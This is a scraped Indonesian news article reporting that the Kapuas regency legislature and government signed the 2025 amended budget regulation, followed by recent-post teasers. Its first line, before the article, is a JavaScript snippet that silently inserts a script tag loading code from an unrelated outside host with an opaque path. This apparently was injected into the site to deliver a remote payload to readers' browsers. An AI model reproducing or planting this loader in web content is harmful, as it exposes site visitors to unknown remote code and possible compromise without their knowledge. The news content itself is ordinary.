(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KAPUAS

DPRD dan Pemkab Kapuas Teken Raperda Perubahan APBD 2025


KANALKALIMANTAN.COM, KUALA KAPUAS – Rapat Paripurna ke-18 masa persidangan II tahun sidang 2025 Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas bersama Pemerintah Kabupaten (Pemkab) Kapuas secara resmi menandatangani persetujuan terhadap Rancangan Peraturan Daerah (Raperda) tentang perubahan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025, Rabu (9/7/2025).

Rapat paripurna dipimpin langsung Ketua DPRD Kapuas Ardiansah didampingi Wakil Ketua I Yohanes dan Wakil Ketua II Berinto. Hadir dari pihak eksekutif Bupati Kapuas H Muhammad Wiyatno, Wakil Bupati Dodo, Penjabat Sekretaris Daerah Usis I Sangkai, asisten, staf ahli, Kepala OPD Lingkup Pemkab Kapuas, serta Forkopimda.

Ketua DPRD Kapuas Ardiansah mengatakan, agenda utama rapat paripurna ini meliputi penyampaian laporan hasil pembahasan Badan Anggaran (Banggar) bersama Tim Anggaran Pemerintah Daerah (TAPD) penyampaian pendapat akhir fraksi-fraksi dan penandatanganan persetujuan bersama.

Baca juga: Ketua DPRD Kapuas Dukung Penuh Pembangunan Gedung MPP

Laporan hasil pembahasan disampaikan oleh Wakil Ketua I DPRD Yohanes. Kemudian masing-masing juru bicara fraksi menyampaikan pendapat akhir yang seluruhnya menyatakan persetujuan terhadap Raperda perubahan APBD 2025.

Baca juga: DPRD Banjarbaru Kebut Tiga Bulan Bahas Tiga Raperda Inisiatif

Fraksi-fraksi yang menyatakan persetujuan yakni Fraksi Golkar dibacakan H Abdullah, Fraksi PDI Perjuangan oleh Wahyoni, Fraksi NasDem oleh Sera Sinta Nola, Fraksi Gerindra oleh Yunaningsih, Fraksi PAN oleg Ahmad Zahidi, Fraksi PKB oleh Suprianto serta Fraksi Nurani Bintang Demokrat Pembangunan Sejahtera oleh Lisna Mariatun.

Penandatanganan persetujuan bersama dilakukan Ketua DPRD Ardiansah, Wakil Ketua I Yohanes, Wakil Ketua II Berinto. Sementara dari pihak eksekutif ditandatangani oleh Bupati Kapuas H Muhammad Wiyatno dan Pj Sekda Usis I Sangkai. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

3 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

4 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

5 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

16 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

16 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

21 jam ago

This website uses cookies.